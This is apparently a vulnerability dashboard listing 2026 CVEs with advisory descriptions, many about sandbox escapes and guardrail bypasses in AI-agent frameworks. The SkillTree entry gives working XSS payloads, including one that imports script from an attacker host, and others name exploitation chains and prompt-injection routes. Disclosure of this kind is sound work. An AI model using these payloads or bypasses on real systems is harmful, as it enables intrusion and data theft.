Overview 116 matches · 0 in Waratek scope · 0 protected · 0 exploited · 0 CISA KEV · 6 public PoC · 0 EPSS ≥ 0.5
116matches
0in Waratek scope0.0%
0protected0.0%
0exploited0.0%
0CISA KEV0.0%
6public PoC5.2%
0EPSS ≥ 0.50.0%
Protected by Waratek
0
0.0%
Rule in development
0
0.0%
Mitigation candidate
0
0.0%
No exploit published
0
0.0%
Outside Waratek scope
1
0.9%
Not applicable
115
99.1%
Withdrawn CVE
0
0.0%
blocked by ARMR today
0
0.0%
partly blocked
0
0.0%
not blocked
116
100.0%
not established
0
0.0%
unrecorded
0
0.0%
Exploited
0
0.0%
Working exploit published
0
0.0%
Proof of concept only
116
100.0%
Forecast only
0
0.0%
No public exploit
0
0.0%
split by
peak 94 / year
20201
Not applicable1
Medium1
not blocked1
Proof of concept only1
20211
Outside Waratek scope1
Medium1
not blocked1
Proof of concept only1
20226
Not applicable6
Critical3
High1
Medium2
not blocked6
Proof of concept only6
20232
Not applicable2
Medium2
not blocked2
Proof of concept only2
20245
Not applicable5
High1
Medium3
Low1
not blocked5
Proof of concept only5
20257
Not applicable7
Critical3
High1
Medium2
Low1
not blocked7
Proof of concept only7
202694
Not applicable94
Critical29
High36
Medium21
Low8
not blocked94
Proof of concept only94
2020202120222023202420252026
| CVE | Severity | Published▾ | Status | Exploitation | Description |
|---|---|---|---|---|---|
| CVE-2026-61713 | High | 2026-11-17 | Not applicable | Proof of concept only | Servo is a lightweight, high-performance web rendering engine for embedding web technologies in applications. Prior to 0.3.0, a sandboxed iframe can use declarative refresh to auto-navigate because RefreshRedirectDue::invoke() in components/script/dom/document/document.rs does not enforce the sandboxed automatic-features flag. The bypass occurs with sandbox="", sandbox="allow-same-origin", sandbox="allow-forms", and sandbox="allow-same-origin allow-forms". Attacker-controlled framed content can replace itself without user action, enabling framed phishing, content replacement, redirect loops, and limited denial of service, but the issue does not by itself permit script execution or parent DOM access. This issue is fixed in version 0.3.0. |
| CVE-2026-129303 | Low | 2026-11-16 | Not applicable | Proof of concept only | Guard Core is an API security core engine for the FastAPI-Guard, FlaskAPI Guard, and DjAPI Guard adapters. From 1.0.0 until 3.13.0, ContentPreprocessor.preprocess() in guard_core/detection_engine/preprocessor.py collapses all whitespace before built-in pattern matching in the default enhanced mode. This removes carriage returns and newlines required by the http_split and newline-anchored cmd_injection detectors in guard_core/handlers/suspatterns_handler.py, making those detectors unable to match. Framework-decoded CRLF can therefore pass through Guard Core unflagged while the downstream application still receives the raw newline-bearing value. Direct security impact requires a downstream stack or application that persists or re-emits the value into a CRLF-tolerant response or command context. This issue is fixed in version 3.13.0. |
| CVE-2026-44267 | Critical | 2026-11-03 | Not applicable | Proof of concept only | Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, plain Elo strings supplied to defaultFormats.elo.parse(), bin/elo, or elo-lang.org/try can use .constructor.constructor to reach JavaScript Function because the member_access handler in src/transform.ts does not reject meta-properties, src/compilers/javascript.ts emits the surviving property directly, and src/parser.ts accepts constructor as an ordinary identifier. The resulting generated JavaScript executes attacker-selected code in the host runtime. This permits browser script execution and session compromise on the auto-running playground and arbitrary Node.js code execution on library, CI, or DevOps hosts. This plain-string path is distinct from the programmatic AST-object injection issue. This issue is fixed in version 1.0.1. |
| CVE-2026-120202 | High | 2026-10-31 | Not applicable | Proof of concept only | Highflame ramparts 0.8.1 through 0.8.10 contains a security scan bypass vulnerability that allows attackers to hide malicious payloads because collect_bundle_siblings and walk_bundle_subdir skip nested directories and .pyc files. Attackers can distribute a skill bundle with an unchecked-hash .pyc under scripts/<subdir>/__pycache__/ that ramparts silently ignores, while CPython executes it when the skill runs. |
| CVE-2026-57144 | High | 2026-10-23 | Not applicable | Proof of concept only | PraisonAI is a multi-agent teams system. From version 4.5.110 to before version 4.6.61, praisonai.sandbox.SandlockSandbox is documented and implemented as the kernel-enforced sandbox backend for untrusted code. Its SandboxConfig.native() path lets callers configure allowed filesystem paths and network=False. On systems where the optional sandlock module imports but reports that Landlock is unavailable, SandlockSandbox.execute() and run_command() do not fail closed. They silently fall back to SubprocessSandbox(self.config). That fallback keeps the same high-level native policy object but does not enforce the native filesystem or network boundary during code execution. A sandboxed payload can read files outside the configured allowed path and open network connections despite network=False. This issue has been patched in version 4.6.61. |
| CVE-2026-56838 | High | 2026-10-23 | Not applicable | Proof of concept only | PraisonAI is a multi-agent teams system. From version 4.5.87 to before version 4.6.59, PraisonAI recipe execution blocks default-denied dangerous tools unless the caller explicitly passes allow_dangerous_tools=True. The normal recipe.run() path enforces this with _check_tool_policy(). The streaming path, recipe.run_stream(), loads the same recipe, checks dependencies, and then calls _execute_recipe() without running the dangerous-tool policy check. As a result, a recipe that honestly declares execute_command in TEMPLATE.yaml requires.tools is denied by recipe.run(), but reaches the execution engine through recipe.run_stream() with allow_dangerous_tools=False. This issue has been patched in version 4.6.59. |
| CVE-2026-115480 | Medium | 2026-10-23 | Not applicable | Proof of concept only | baserCMS is a website development framework. In versions 5.0.0 before 5.3.2 and 5.4.0 before 5.4.2, the public POST /baser/api/bc-mail/mail_messages/add/{mailContentId}.json endpoint accepts submissions without enforcing the form's auth_captcha setting. BcMail\Controller\Api\MailMessagesController::add() and MailMessagesService::create() omit the BcCaptchaService::check() verification of captcha_id and auth_captcha performed by MailController::submit() in the web UI. An unauthenticated attacker who can reach the API can therefore automate submissions without solving the enabled image challenge. The API disables FormProtection and has no rate limit; submissions can generate administrator-inbox spam, send attacker-influenced auto-replies to third parties when an email field is present, and accumulate mail_messages database records when save_info is enabled. The API already enforces the isAccepting() check added for CVE-2026-30878; the missing CAPTCHA check is a separate control failure. This issue has been patched in versions 5.3.2 and 5.4.2. |
| CVE-2026-114614 | Low | 2026-10-22 | Not applicable | Proof of concept only | Authlib is a Python library which builds OAuth and OpenID Connect servers. From 0.13 until 1.8.0, authlib.common.security.is_secure_transport() uses a textual prefix comparison for loopback HTTP exemptions, so a URL whose userinfo begins with a loopback host can be accepted even when its parsed host is an external non-loopback system. An external party able to supply a URL to OIDC RP-Initiated Logout registration, authorization-server metadata validation, or another call site can bypass the TLS-required guard and cause cleartext redirection or acceptance of cleartext endpoints. The issue does not bypass redirect URI exact matching and does not by itself forge tokens or authenticate users. The vulnerable authlib.common.security.is_secure_transport() implementation in authlib/common/security.py misinterprets the userinfo component before OIDC RP-Initiated Logout dynamic client registration and other consumers enforce transport security. This issue is fixed in version 1.8.0. |
| CVE-2026-110689 | Low | 2026-10-14 | Not applicable | Proof of concept only | A security flaw has been discovered in OpenClaw ClawScan up to 0.1.6. This impacts the function shouldSkipTargetPath of the file internal/runner/runner.go of the component Static Scanner. Performing a manipulation results in protection mechanism failure. Attacking locally is a requirement. The exploit has been released to the public and may be used for attacks. Upgrading to version 0.1.7 will fix this issue. The patch is named 9f6a6fbb9f1137345566d0ab44c73893dfe112fa. The affected component should be upgraded. |
| CVE-2026-55376 | High | 2026-10-13 | Not applicable | Proof of concept only | Heym builds and runs agentic systems and business-process automations on self-hosted infrastructure. Prior to 0.0.40, an authenticated user who can create or edit a workflow with an Agent custom Python tool can bypass the blacklist-based sandbox in backend/app/services/python_tool_executor.py because allowed standard-library modules expose operating-system, process, and filesystem capabilities through public attributes that pass _safe_import() and _validate_code_safety(). The runner then executes the supplied tool with exec(), permitting commands and file operations as the backend application user; self-registration affects reachability, but portal triggering alone does not grant code control. This issue is fixed in 0.0.40. |
| CVE-2026-101899 | Medium | 2026-10-13 | Not applicable | Proof of concept only | Axios is a promise-based HTTP client for the browser and Node.js. From 1.15.0 until 1.20.0, Axios shouldBypassProxy treats the NO_PROXY CIDR form as a textual hostname suffix instead of evaluating the network range. A request targets an address covered by a CIDR entry in NO_PROXY while a proxy is configured. The CIDR bypass rule is not matched, so the request is sent through the configured proxy. For plaintext HTTP, the proxy can observe and modify URLs, headers, and bodies; for HTTPS, it can observe connection metadata and CONNECT requests. This issue is fixed in version 1.20.0. |
| CVE-2026-84318 | High | 2026-10-12 | Not applicable | Proof of concept only | Nginx UI is a web user interface for the Nginx web server. From 2.0.0-rc.6 until 2.4.1, the MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution. This issue is fixed in version 2.4.1. |
| CVE-2026-84317 | High | 2026-10-12 | Not applicable | Proof of concept only | Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js_*, perl_*, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add (mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image). This issue is fixed in version 2.4.1. |
| CVE-2026-41510 | High | 2026-10-12 | Not applicable | Proof of concept only | OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.1, Coraza silently drops arguments after SecArgumentsLimit in internal/corazawaf/transaction.go, while internal/bodyprocessors/urlencoded.go writes ARGS_POST without enforcing the cap. The flaw is triggered when an unauthenticated attacker sends more arguments than SecArgumentsLimit or supplies bodies that expand beyond the configured argument and flattening budgets. An unauthenticated attacker can flood requests with arguments so excess values are silently omitted from ARGS, ARGS_GET, ARGS_NAMES, ARGS_GET_NAMES, ARGS_POST, or ARGS_PATH before security rules inspect them; affected urlencoded and JSON processing can also consume excessive memory. The omission can bypass WAF rules protecting the downstream application, and unbounded or amplified argument processing can cause memory consumption and service degradation. This issue is fixed in version 3.8.1. |
| CVE-2026-104774 | Medium | 2026-10-12 | Not applicable | Proof of concept only | OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the t:jsDecode transformation in internal/transformations/js_decode.go:64-70 includes the backslash in the octal buffer, causing ParseInt to fail and return a null byte. The flaw is triggered when a rule relies on t:jsDecode and the request contains JavaScript octal escape sequences. An unauthenticated attacker can encode attack syntax with JavaScript octal escapes so the backend decodes the intended bytes while Coraza rules using t:jsDecode inspect corrupted null-byte output. The mismatch can bypass WAF rules and expose the protected application to attacks such as cross-site scripting or SQL injection. This issue is fixed in version 3.8.0. |
| CVE-2026-102539 | Medium | 2026-10-12 | Not applicable | Proof of concept only | Super Productivity is an advanced todo list app with integrated timeboxing and time tracking capabilities. From 17.3.0 until 18.13.1, the SuperSync end-to-end encryption setup calls sync(true) before a user sets an encryption password, causing the operation-upload path to transmit and store all user operations in plaintext. The exposed operations can include private task content and connected issue-provider credentials, including reusable passwords, API tokens, and app passwords. Users who complete E2EE setup have the plaintext operations deleted, while users who leave the password-setting step can leave the data stored indefinitely. The Disable SuperSync action did not remove plaintext that had already been uploaded. Routing and causal metadata remain plaintext by design and are not part of this vulnerability. This issue is fixed in version 18.13.1. |
| CVE-2026-106439 | High | 2026-10-06 | Not applicable | Proof of concept only | Hydra is a framework for elegantly configuring complex applications. From 1.3.4 until 1.3.7 and 1.4.0.dev10, Hydra stores legacy instantiate target blocklists and related execution-policy collections in mutable module-level state. An attacker who controls multiple sibling target entries can resolve hydra._internal.target_policy.UNCONTROLLED_EXECUTION_TARGETS.discard through instantiate(), remove a denied target, and then invoke that target because sibling nodes are processed in insertion order against the same modified policy. The mutation persists in process-global state and can enable code execution with the application's privileges, while a narrow execution whitelist supplied by trusted Python code is not bypassed by the reported direct mutation path. This issue is fixed in versions 1.3.7 and 1.4.0.dev10. |
| CVE-2026-101900 | Medium | 2026-09-28 | Not applicable | Proof of concept only | Axios is a promise-based HTTP client for the browser and Node.js. From 1.12.0 until 1.20.0, ResolveConfig reads inherited Symbol.toStringTag, append, and getHeaders properties while resolving FormData headers. A separate same-process prototype-pollution flaw supplies an array or non-plain class instance whose inherited properties make it appear FormData-like; plain objects are blocked. The inherited getHeaders function can return attacker-controlled headers that resolveConfig merges into a fetch adapter request. Attacker-controlled headers can alter authorization, cache, metadata-service, or application-specific request behavior. This issue is fixed in version 1.20.0. |
| CVE-2026-100676 | High | 2026-09-26 | Not applicable | Proof of concept only | January, the media proxy/embed service of stoatchat (stoatchat/stoatchat), before version 0.15.5 improperly resolves SVG <image href> values as local filesystem paths when a fetched resource is served as image/svg+xml. An unauthenticated remote attacker who causes the service to proxy an attacker-hosted SVG (e.g. via the /proxy endpoint) can determine whether local files exist through observable response-time differences, and can cause supported local image files to be disclosed after re-encoding. Because each referenced file is read in full with no effective limit on the number or total volume of reads, a single request can also generate an unbounded amount of local filesystem I/O and memory pressure (the published proof of concept drives about 4.34 GB of reads), leading to denial of service. The issue is fixed in 0.15.5. |
| CVE-2026-39353 | Critical | 2026-09-25 | Not applicable | Proof of concept only | InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2-rc-1, InvoicePlane builds its permitted template list by scanning a PHP template directory that can be written through an administrator-controlled file-write capability. A malicious PHP file placed in the directory is automatically trusted by Mdl_templates and can be selected as public_invoice_template. When a public invoice is rendered, the guest View controller includes the trusted file and executes it with web-server privileges. This issue is fixed in version 1.7.2-rc-1. |
| CVE-2026-85288 | Medium | 2026-09-22 | Not applicable | Proof of concept only | Notepad++ is a free and open-source source code editor. Prior to 8.9.8, Notepad++ incompletely enforces shortcuts.xml HMAC validation because WM_MACRODLGRUNMACRO, the Run a Macro Multiple Times entry point, calls macroPlayback() without the validation used by command(). A tampered shortcuts.xml macro that is blocked through the Macro menu or a shortcut key can therefore execute through the multi-run dialog and invoke internal Notepad++ commands, including commands that launch external programs, in the current user context. This issue is fixed in version 8.9.8. |
| CVE-2026-93606 | Critical | 2026-09-18 | Not applicable | Proof of concept only | vm2 (npm) versions 3.12.0 and earlier contain a sandbox escape in `VM` and `NodeVM`. When an embedder exposes a host API that returns a host-realm Promise, the bridge's rejection sanitizer (hostPromiseSanitizeReject / makeSanitizedPromiseCallback / normalizeHostPromiseCallbacks in lib/bridge.js) only wraps `then`/`catch` rejection slots that hold a function, and the sandbox-side `Symbol.species`/`.then` neutralization is installed only on the sandbox intrinsic `Promise.prototype`, so it never applies to a host Promise. Code running inside the sandbox can overwrite `p.constructor[Symbol.species]` on the host Promise and then call `p.then()` with no `onRejected` handler; V8 substitutes its internal Thrower, which re-throws the raw host rejection value into a resolve/reject closure captured by the attacker. This delivers an unsanitized, fully functional bridge proxy of the host object to sandboxed code, bypassing handleException and hostPromiseSanitizeReject. If the rejection value is host-pivotable (for example a host `process` object), this results in arbitrary code execution on the host. Fixed in 3.12.1. |
| CVE-2026-92962 | Low | 2026-09-17 | Not applicable | Proof of concept only | vm2 is a sandbox for running untrusted JavaScript. In vm2 versions up to and including 3.11.3, the defaultSandboxPrepareStackTrace function in lib/setup-sandbox.js builds its output array using prototype-walking index assignment (lines[lines.length] = value) rather than a prototype-bypassing define-property primitive. Because this bridge-internal array is allocated in the sandbox realm, code inside the sandbox can install an accessor on Array.prototype for the relevant index; the accessor is then invoked whenever the sandbox reads error.stack (or otherwise triggers Error.prepareStackTrace), allowing sandbox code to observe and intercept each stack-trace line written by the bridge. The same pattern is used in the error-handling (catch) branch. The values written are formatted strings only, so the practical impact is limited to an information side channel and a violation of vm2's bridge-container defense invariant rather than a sandbox escape; the vendor rates the issue Low. The issue is fixed in vm2 3.11.4, which installs each entry as an own data property via Reflect.defineProperty. |
| CVE-2026-92959 | High | 2026-09-17 | Not applicable | Proof of concept only | vm2 before 3.11.8 does not fully enforce the allowAsync: false option in VM and NodeVM. While localPromise.prototype.then is replaced with a handler that throws 'Async not available', the sandbox's Promise static methods (Promise.resolve, Promise.all, Promise.race, Promise.any, and Promise.allSettled) still assimilate attacker-supplied thenables: native promise resolution performs PromiseResolveThenableJob and invokes the sandboxed code's then method in a microtask without passing through the patched then, so the async restriction is never applied. As a result, sandboxed script can schedule work that runs after VM.run() or NodeVM.run() has returned and outside the configured timeout, continuing to execute after the host believes execution is complete. |
| CVE-2026-92948 | Critical | 2026-09-17 | Not applicable | Proof of concept only | vm2 versions >= 3.9.6 and <= 3.11.6 are affected by a NodeVM builtin allowlist bypass that permits a sandbox escape on Node.js 24 and newer when the embedder explicitly allows the node:test builtin (e.g. require: { builtin: ['node:test'] }). On Node.js 24+, module.builtinModules exposes the scheme-only key node:test, which is not covered by vm2's family-based DANGEROUS_BUILTINS protection, so it is stored in the generic host-passthrough loader. Because requireImpl() in lib/setup-node-sandbox.js strips a single 'node:' prefix before the builtin lookup, sandbox code calling require('node:node:test') resolves to the stored node:test key and receives a readonly proxy to the host module. Calls to node:test.run() are forwarded to the host implementation, which spawns a separate Node process for process-isolated test execution and passes through attacker-controlled execArgv values; supplying --eval=<JavaScript> therefore executes arbitrary JavaScript in an unrestricted host Node process outside the NodeVM sandbox. Fixed in vm2 3.11.7. |
| CVE-2026-92944 | Critical | 2026-09-17 | Not applicable | Proof of concept only | vm2 versions 3.10.2 through 3.11.6 contain a sandbox escape vulnerability on Node.js 26 where Promise.prototype.finally() bypasses vm2's wrapper protections due to a stale PromiseThenLookupChain protector in V8 14.6. Attackers can exploit this by creating an async function that returns a Promise with an attacker-controlled constructor Symbol.species, allowing them to reach the host Function constructor and process object for arbitrary code execution. |
| CVE-2026-92938 | Critical | 2026-09-17 | Not applicable | Proof of concept only | vm2 versions 3.11.3 through 3.11.6 expose Node.js's host node:sqlite module to code running in NodeVM when that builtin is permitted, either explicitly or through builtin: ['*']. The module is wrapped with vm.readonly(), which prevents property assignment but leaves host-authority callables reachable; in addition, the resolver treats any request starting with 'node:' as a core-module request and the runtime strips only one 'node:' prefix, so a sandbox request for 'node:node:sqlite' resolves to the configured node:sqlite entry. Sandboxed code can therefore create an in-memory DatabaseSync with extension loading enabled and call DatabaseSync.loadExtension() on a native library bundled in the untrusted plugin package (path derived from __dirname). SQLite loads the library into the Node.js host process and invokes its native entry point, giving the sandboxed plugin arbitrary native code execution outside the sandbox with the host process's privileges. The issue is fixed in vm2 3.11.7. |
| CVE-2026-92934 | Critical | 2026-09-17 | Not applicable | Proof of concept only | vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox. |
| CVE-2026-79298 | High | 2026-09-16 | Not applicable | Proof of concept only | An issue in Howyar Technologies Inc SysReturn Versions prior to 11.3.034 and fixed in v.11.3.0.34 allows a local attcker to execute arbitrary code via the BOOTia32.efi and a crafted cloak32.dat file on the ESP. |
| CVE-2026-57138 | Critical | 2026-09-15 | Not applicable | Proof of concept only | PraisonAI is a multi-agent teams system. From 1.4.0 until 1.7.2, codeMode in src/praisonai-ts/src/tools/builtins/code-mode.ts executes untrusted JavaScript with new Function() inside with(sandbox) and relies on a small source-code blocklist plus shadowed process and require properties. Code can use ({}).constructor.constructor to recover the real Function constructor, obtain process and process.mainModule.require, and reach host filesystem and subprocess APIs despite the advertised sandbox. Attackers who control codeMode input can read secrets, modify files, execute commands, or exhaust the host process. This issue is fixed in version 1.7.2. |
| CVE-2026-57137 | High | 2026-09-15 | Not applicable | Proof of concept only | PraisonAI is a multi-agent teams system. From 1.4.0 until 1.7.2, createAgentLoop() in src/praisonai-ts/src/ai/agent-loop.ts passes executable tools to generateText() before invoking the onToolCall approval callback. Because the wrapped AI SDK executes tool handlers during generation, a callback that returns false records tool_rejected only after the denied tool has already produced side effects and populated toolResults. Applications using onToolCall as a human or policy approval boundary can therefore execute rejected file, command, API, or data-modifying operations. This issue is fixed in version 1.7.2. |
| CVE-2026-57136 | High | 2026-09-15 | Not applicable | Proof of concept only | PraisonAI is a multi-agent teams system. From 1.2.3 until 1.7.2, CommandValidator in src/praisonai-ts/src/cli/features/sandbox-executor.ts validates only the first whitespace-delimited executable against allowedCommands, then SandboxExecutor passes the complete command string to sh -c. A command beginning with an allowed executable can append a non-allowlisted command through shell metacharacters, causing arbitrary commands to run with the PraisonAI process privileges. This issue is fixed in version 1.7.2. |
| CVE-2026-57135 | High | 2026-09-15 | Not applicable | Proof of concept only | PraisonAI is a multi-agent teams system. From 1.2.3 until 1.7.2, SandboxExecutor network-isolated mode in src/praisonai-ts/src/cli/features/sandbox-executor.ts uses buildEnv() only to inject invalid http_proxy and https_proxy environment variables and does not establish an operating-system network boundary. Programs that ignore those proxy variables can open sockets directly, allowing supposedly isolated commands to reach localhost, internal services, cloud metadata, or external hosts and potentially exfiltrate data. An initial remediation was released in version 1.7.2. |
| CVE-2026-57133 | High | 2026-09-15 | Not applicable | Proof of concept only | PraisonAI is a multi-agent teams system. From 1.5.1 until 1.7.2, the shell() helper exported from src/praisonai-ts/src/tools/utility-tools.ts checks only the first whitespace-delimited token against safeCommands and then passes the complete original string to child_process.exec(). A string that starts with an allowed read-only command can append a second non-allowlisted command through shell syntax, allowing arbitrary command execution with the PraisonAI process privileges. This issue is fixed in version 1.7.2. |
| CVE-2026-57120 | Medium | 2026-09-14 | Not applicable | Proof of concept only | PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, execute_code sandbox mode permits runtime assembly of blocklisted dunder names and allows str.format or str.format_map to resolve dotted fields through C-level attribute access that bypasses _safe_getattr. This exposes class, qualified-name, base-class, globals, and object-dictionary attributes to prompt-influenced code when approval is automatically granted, producing a high-impact read primitive without establishing a complete in-process execution chain. This issue is fixed in praisonaiagents 1.6.59. |
| CVE-2026-87808 | High | 2026-09-09 | Not applicable | Proof of concept only | SiYuan versions <= 3.8.1 contain an incomplete fix for CVE-2026-32767 (GHSA-j7wh-x834-p3r7). The prior fix (commit d5e2d0bc) added an administrator check for SQL mode (method=2) in POST /api/search/fullTextSearchBlock, but the endpoint still does not enforce the application's read-only boundary: for method=2 it forwards caller-supplied SQL to the blocks database query path without calling model.CheckReadonly or CheckReadonlyStatementInBox. As a result, when a workspace runs in read-only mode (--readonly=true), an authenticated administrator can submit arbitrary SQL through /api/search/fullTextSearchBlock and obtain raw read access to the blocks database, even though the dedicated /api/query/sql endpoint is blocked in that mode. Fixed in v3.8.2. |
| CVE-2026-54694 | Critical | 2026-09-09 | Not applicable | Proof of concept only | SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. `StringHighlighter.js` builds an HTML string by interpolating raw `value` substrings directly into a template literal with no HTML entity encoding. `HighlightedValue.vue` renders that string — and all unfiltered plain values — via Vue's `v-html` directive, which sets `innerHTML`. Separately, the account registration endpoint accepts `firstName`, `lastName`, and `nickname` fields and stores them without any HTML sanitization. An attacker self-registers with `firstName = "<img src=x onerror=alert(1)>"` (28 characters — within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. `<img src=x onerror=alert(1)>`, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading via `import()`. Using the split-field technique (`lastName = "<img src=x"`, `firstName = "onerror=import('//nsas.cc/p')>"`), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action — delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (`//nsas.cc/p`). The third is full cross-site request forgery token theft. Using `eval(name)`, the attacker pre-sets `window.name` to a data-theft payload by sending the admin one redirect link first. The session cookie is `HttpOnly` and cannot be read via `document.cookie`; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch. |
| CVE-2026-49881 | High | 2026-09-08 | Not applicable | Proof of concept only | In serviceClassExists of InCallController.java, there is a possible arbitrary code execution due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. |
| CVE-2026-84810 | High | 2026-09-02 | Not applicable | Proof of concept only | claude-skill-antivirus fails to analyze executable files when scanning local skill directories, reading only SKILL.md while ignoring Python source, bytecode, and other artifacts in the scripts directory. Attackers can distribute skills with malicious code in non-manifest files that receive a SAFE verdict with 100/100 trust score despite containing unanalyzed executable payloads. |
| CVE-2026-84809 | High | 2026-09-02 | Not applicable | Proof of concept only | Tencent AI-Infra-Guard's skill-scan component excludes compiled Python bytecode files from analysis by hardcoding __pycache__ directories and .pyc/.pyo/.pyd extensions into skip lists across multiple scanning surfaces. Attackers can distribute skills with benign Python source files alongside malicious compiled bytecode that executes on import while the scanner reports a safe verdict, enabling code execution when operators install the skill. |
| CVE-2026-54073 | Medium | 2026-08-21 | Not applicable | Proof of concept only | VeraCrypt provides disk encryption with strong security based on TrueCrypt. From 1.26.6 until 1.26.29, file-hosted hidden volume creation forces quick format and the FormatNoFs function in src/Common/Format.c and FormatFat function in src/Common/Fat.c use WriteFile to place raw zeroed sectors at predictable 128 MiB intervals. These writes bypass the normal EncryptDataUnits formatting path, leaving deterministic plaintext markers in an area expected to resemble random ciphertext. The markers can weaken plausible deniability during forensic inspection, although they do not disclose hidden-volume content or reduce the strength of VeraCrypt encryption. This issue is fixed in version 1.26.29. |
| CVE-2026-52873 | Medium | 2026-08-18 | Not applicable | Proof of concept only | Streambert is a cross-platform Electron Desktop App to stream and download video content. From version 2.5.0 until version 2.6.0, the wyzie-open-redeem IPC handler in index.js creates the partition:wyzie-redeem Electron session and registers an onHeadersReceived hook that removes the Content-Security-Policy header from every response in that session. The redeem window also lacks a setWindowOpenHandler restriction, so script injection in sub.wyzie.io, a loaded third-party resource, or a site reached through navigation executes without CSP constraints and can affect additional windows and persistent session storage. A user must open the Wyzie API key redemption window, and exploitation requires attacker-controlled script content in a loaded page. The resulting renderer script can invoke renderer-exposed application functionality and can be chained with other vulnerabilities to access internal services or sensitive data. This issue is fixed in version 2.6.0. |
| CVE-2026-45733 | High | 2026-08-18 | Not applicable | Proof of concept only | Trilium Notes is a cross-platform, hierarchical note taking application focused on building large personal knowledge bases. Prior to 0.103.0, the #iconClass label value is returned raw by getNoteIcon() and inserted without HTML attribute encoding into class attributes in apps/client/src/widgets/quick_search.ts and apps/client/src/services/note_autocomplete.ts, allowing a stored payload to execute automatically when a victim opens a new tab or uses Ctrl+J and, because Electron enables nodeIntegration and disables contextIsolation, run operating-system commands as the victim. This issue is fixed in version 0.103.0. |
| CVE-2026-74896 | Critical | 2026-08-17 | Not applicable | Proof of concept only | openssl_encrypt versions before 1.4.0 contain a sandbox escape vulnerability in the DangerousPatternVisitor AST analyzer that fails to detect dunder attribute traversal techniques. Attackers can use __class__, __bases__, __subclasses__(), and __globals__ chains to access restricted functions and execute arbitrary system commands from plugin code. |
| CVE-2026-74883 | High | 2026-08-17 | Not applicable | Proof of concept only | openssl_encrypt versions before 1.4.0 contain a sandbox bypass vulnerability where the plugin sandbox fails to restrict alternative file access methods like pathlib.Path and io.open. Attackers can import pathlib or io modules to read and write arbitrary files, completely bypassing the restricted_open file access controls. |
| CVE-2026-71858 | Medium | 2026-08-17 | Not applicable | Proof of concept only | Notepad++ is a free and open-source source code editor. Prior to 8.9.7, macros loaded from an attacker-controlled shortcuts.xml bypass the HMAC validation applied to UserDefinedCommands and can invoke Scintilla actions and the internal Open in Default Viewer command in an elevated Notepad++ process, allowing protected file modification and conditional elevated command execution when a local attacker influences settingsDir and a user triggers the macro. This issue is fixed in version 8.9.7. |
| CVE-2026-74790 | Critical | 2026-08-16 | Not applicable | Proof of concept only | Scriban before 7.0.0 caches TypedObjectAccessor by Type only without considering MemberFilter changes, allowing reused TemplateContext instances to expose members that should be hidden. Attackers can access filtered properties and fields by reusing a TemplateContext after tightening its MemberFilter, bypassing sandbox policies across requests or tenants. |
| CVE-2026-13342 | Medium | 2026-08-06 | Not applicable | Proof of concept only | The Security Optimizer WordPress plugin from 1.5.8 to 1.6.4 does not correctly validate requests to its optional IP-based login restriction feature, allowing the restriction to be bypassed so that unauthenticated requests from non-allowlisted IP addresses can reach and use the login form, defeating the access control the administrator configured. |
| CVE-2026-67427 | High | 2026-07-29 | Not applicable | Proof of concept only | Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.6, the workflow engine variable resolver expands ${env.VAR} for any host environment variable without an allowlist or capability policy check, allowing a workflow parameter to bypass the default capability policy denylist for env.get and env.load_dotenv and exfiltrate secrets through allowed modules. This issue is fixed in version 2.26.6. |
| CVE-2026-47392 | Critical | 2026-07-21 | Not applicable | Proof of concept only | PraisonAI is a multi-agent teams system. Prior to version 4.6.40 of PraisonAI, corresponding to version 1.6.40 of praisonaiagents, `execute_code()` in `praisonaiagents/tools/python_tools.py` (v1.6.37, subprocess sandbox mode) can be fully bypassed using `print.__self__` to retrieve the real Python `builtins` module, from which `__import__` can be extracted via `vars()` and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox. This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (`type.__getattribute__` trampoline). PraisonAI version 4.6.40 and praisonaiagents version 1.6.40 contain an updated fix. |
